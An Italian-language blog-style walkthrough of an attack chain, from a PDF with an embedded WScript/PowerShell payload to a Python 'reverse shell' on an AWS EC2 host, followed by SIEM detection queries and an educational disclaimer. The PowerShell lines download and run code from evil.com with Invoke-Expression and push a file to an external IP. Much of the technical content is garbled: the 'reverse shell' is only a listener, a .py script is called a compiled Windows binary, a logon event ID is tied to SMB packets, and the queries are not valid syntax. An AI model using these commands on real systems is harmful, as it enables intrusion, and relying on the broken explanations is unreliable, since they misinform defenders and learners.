
Una catena pratica che inizia con un file PDF innocuo e termina in una reverse shell su un'istanza AWS EC2
Una catena pratica che inizia con un innocuo file PDF e termina con una reverse shell su un'istanza AWS EC2
Tutto inizia sul fronte dell'attacco. Utilizzando l'oggetto WScript integrato di PowerShell, incorporiamo uno script all'interno di un PDF che verrà consegnato a un host Windows. Il payload recupera un eseguibile da un endpoint HTTP remoto e lo scrive nel filesystem locale.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command `
`"$ssh = new-Object System.Net.Sockets.TcpClient; `
`$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@
Il principale vantaggio è che il PDF non richiede una fase di download separata: passa direttamente il controllo a PowerShell, che poi lancia la fase successiva della catena.
Una volta che lo script del PDF viene eseguito sull'host di destinazione (10.0.1.5), usiamo PowerShell per aprire una connessione SMB verso un'istanza EC2 (54.231.12.41) e inviare l'eseguibile appena scaricato attraverso quella socket. Lo stesso codice può essere eseguito da qualsiasi workstation Windows, garantendo all'attaccante un punto di pivot a basso profilo all'interno della LAN aziendale.
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
New-Object System.Net.WebClient).DownloadString(
'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }
Il pacchetto SMB appare nei log di audit di Windows come un evento standard (EventID 4624), rendendolo facile da individuare nella maggior parte dei dashboard SIEM.
L'ultimo pezzo della nostra catena è una piccola reverse shell scritta in Python. Ascolta una connessione SSH da EC2 verso lo stesso host, stampa una riga di debug sulla console e poi esce. Una volta compilata in rcmd.py, verrà eseguita automaticamente dal passaggio PowerShell precedente.
#!/usr/bin/env python3
import socket
def main():
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('0.0.0.0', 22))
listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if __name__ == '__main__':
main()
Poiché si tratta di un binario statico che gira nativamente su Windows, non è necessario installare un agente o un servizio aggiuntivo sull'host di destinazione.
I team di sicurezza dovrebbero presupporre che il compromesso sia possibile e costruire strategie di rilevamento a più livelli.
**Traffico Anomalo **
Filtra i pacchetti SMB insolitamente grandi provenienti dall'host di destinazione.
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Utilizzo Elevato della Memoria
Il consumo di memoria del binario per mostrare che si tratta di un processo non banale sull'host di destinazione.
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**Finestra Fuori Orario **
I red teamer di solito non eseguono durante l'orario di ufficio per timore che il loro script possa in qualche modo allertare l'utente; questa query esaminerà il traffico in momenti in cui sarebbe inatteso.
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Questo progetto è destinato esclusivamente a scopi educativi e di ricerca. Non utilizzare queste tecniche in ambienti non autorizzati.